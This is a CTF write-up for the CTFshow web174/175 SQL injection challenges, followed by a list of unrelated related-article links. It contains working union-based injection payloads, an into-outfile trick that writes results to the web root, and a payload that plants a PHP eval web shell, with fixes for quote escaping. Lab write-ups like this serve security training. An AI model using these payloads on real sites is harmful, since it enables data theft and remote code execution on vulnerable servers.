CTFshow web174/175
web174
username != 'flag'
过滤
- 作用:排除
username
字段值为flag
的记录
LIMIT 1
结果限制
- 作用:仅返回查询结果的第一条记录
这里如果返回数据中包含 flag
字样,或者包含数字0-9,则不会输出
尝试常规思路,发现查询语句的内容也不能出现数字
1'union select NULL,NULL--+
查表名就不行了,表名为 ctfshow_user4,包含了数字不能直接查
payload:
1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+
flag在password里面,将里面的数字用大写的英文代替
然后写一个简单的py代码还原即可
str_flag = (input("输入"))
replace_flag = {'A': '1','B': '2','C': '3','D': '4','E': '5','F': '6','G': '7','H': '8','I': '9','J': '0'}
for i,k in replace_flag.items():
str_flag = str_flag.replace(i,k)
print(str_flag)
web175
返回逻辑
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
正则匹配过滤掉的是所有 ASCII 字符
用到 into outfile,贴一段payload
1'union select table_name,1 from information_schema.tables where table_schema=database() into outfile '/var/www/html/111.txt'--+
前面和正常查询的语句一样后面把结果写入111.txt,这样就解决了没有回显的问题了
————————————————————————————————————————
扩展:
同理我们这边可以写入一句话木马到php文件里面getshell
其中遇到的一点问题
-1'union select '<?php eval($_POST[a]);?>',1 into outfile '/var/www/html/xqx.php'--+
这个payload可以正常写入,但是
-1'union select '<?php eval($_POST['a']);?>',1 into outfile '/var/www/html/xqx.php'--+
这个payload给a加上了引号,无法写入
询问大佬后发现原因
引号和前面的闭合了,可以用转义符\解决
-1'union select '<?php eval($_POST[\'a\']);?>',1 into outfile '/var/www/html/xqx.php'--+
CTFshow web174/175的更多相关文章
- 1Z0-053 争议题目解析175
1Z0-053 争议题目解析175 考试科目:1Z0-053 题库版本:V13.02 题库中原题为: 175.You are peer reviewing a fellow DBAs backup p ...
- 中国175个 AAAAA级风景区,去过20个 以上,你就是旅游达人
省份 数量 景区名称 我 北京 7 故宫博物院 1 天坛公园 颐和园 1 八达岭-慕田峪长城旅游区 1 明十三陵景区(神路-定陵-长陵-昭陵) 恭王府景区 北京奥林匹克公园(鸟巢-水立方-中国科技馆- ...
- [No00002C]人的寿命应该能达到100至175岁-北大齐教授健康讲座笔录
人的寿命应该能达到100 至175 岁,为什么都没有达到呢?最主要一个原因就是我们不重视保健,不懂得保健的知识.很多人死于无知,这很冤枉啊! 大家知道怎么保健吗?国际上有个维多利亚宣言,宣言里有三 ...
- EF Oracle:错误 175
错误 1 错误 175: 具有固定名称“Oracle.DataAccess.Client”的 ADO.NET 提供程序未在计算机或应用程序配置文件中注册或无法加载.有关详细信息,请参阅内部异常. 安装 ...
- mac安装protobuf2.4.1时报错./include/gtest/internal/gtest-port.h:428:10: fatal error: 'tr1/tuple' file not found和google/protobuf/message.cc:175:16: error: implicit instantiation of undefined template
通过网上下载的protobuf2.4.1的压缩文件,然后进行安装,./configure和make时遇到了两个问题. 正常的安装步骤如下: ./configure make make check m ...
- 调用ffmpeg库编译时出现common.h:175:47: error: 'UINT64_C' was not declared in this scope
解决办法 出现错误:jni/ffmpeg/libavutil/common.h:175:47: error: 'UINT64_C' was not declared in this scope 解决: ...
- 错误 175: 具有固定名称“MySql.Data.MySqlClient”的 ADO.NET 提供程序未在计算
问题描述:错误 175: 具有固定名称“MySql.Data.MySqlClient”的 ADO.NET 提供程序未在计算 原因描述:一.首先我的系统是因为是win10 的有问题,重新装了系统. 二. ...
- select id from BS_BU_RULETYPE t start with t.PARENT_ID = 175 connect by t.PARENT_ID = prior t.id
select id from BS_BU_RULETYPE t start with t.PARENT_ID = 175 connect by t.PARENT_ID = prior t.id
- SQK Server实现 LeetCode 175 组合两个表
175. 组合两个表 SQL架构 表1: Person +-------------+---------+ | 列名 | 类型 | +-------------+---------+ | Person ...
- ctfshow之Web入门刷题记(从89开始,持续更新)
0x01Web89-99PHP特性payload Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_G ...
随机推荐
- 树形DP详解
哈喽大家好,我是 doooge,今天给大家带来的是 树形DP 详解. \[\Huge \sf 树形DP 详解 \] 1.树形DP是什么 想必大家都学过动态规划吧,树形DP 就是 DP 的一部分.顾名思 ...
- 2023 syzx 春季训练 1
得找个时间把 zr 题补补.. A 考虑 \(f_{i}\) 只能拆为 \(f_{i-1}+f_{i-2}\),考虑拆 \(f_{i-1}=f_{i-2}+f_{i-3}\) 时,这条 \(f_{i- ...
- 痞子衡嵌入式:在MDK5.40开发环境下添加用户下载算法FLM文件的方法
大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家分享的是在MDK5.40开发环境下添加用户下载算法FLM文件的方法. 最近痞子衡给一个 RT1170 客户制作了一个 SEGGER 下载算法,在 ...
- 从Rust想到C#
近几年,RUST语言越来越受大家的喜爱,排除去一些跟风者,大部分的人喜欢RUST的内存安全性和高效的性能.但编译速度始终是它的短板. 这几天,突然有一个想法,如果C#或者说.NET的编译器也做成RUS ...
- 前端开发系列081-Node篇之queryString
本文对Node的内置模块Query String进行介绍,包括基本情况和简单使用. 一.模块简介 Query String是Node的内置核心模块之一,无需单独安装.在Nodejs文件中可以直接在代码 ...
- 华为机试题 Sudoku
简介 使用回溯算法. 其实回溯算法属于暴力算法. 进行一定的减枝算法即可. 这里要使用弱检查, 全局flag 进行退出. code #include <iostream> #include ...
- python 二维数组取值
简介 a = np.ones((5,5)) 可以通过 a[1,1] a[1][1] 这两种方式取出数值,本质上是一样的.
- vs 运行 qt 项目的注意事项
简介 RT 1 使用vs 打开 qt 项目 https://blog.csdn.net/weixin_44840658/article/details/99693803 2 运行项目之后 会因为缺少相 ...
- iPaaS架构深入探讨
在数字化时代全面来临之际,企业正面临着前所未有的挑战与机遇.技术的迅猛发展与数字化转型正在彻底颠覆各行各业的格局,不断推动着企业迈向新的前程.然而,这一数字化时代亦衍生出一系列复杂而深奥的难题:各异系 ...
- SciTech-Mathmatics-Proba. & Stats.: $\large y=ax^2 + bx + c$(非常重要的 抛物线函数) + $\large 高斯分布(正态分布)的Bell Curve钟形曲线 的 pdf(概率分密度曲线方程) 与 cdf(累积分布函数:积分面$积)
SciTech-Mathmatics-Proba. & Stats.: \(\largey=ax^2 + bx + c\)(非常重要的 抛物线函数) + \(\large 高斯分布(正态分布) ...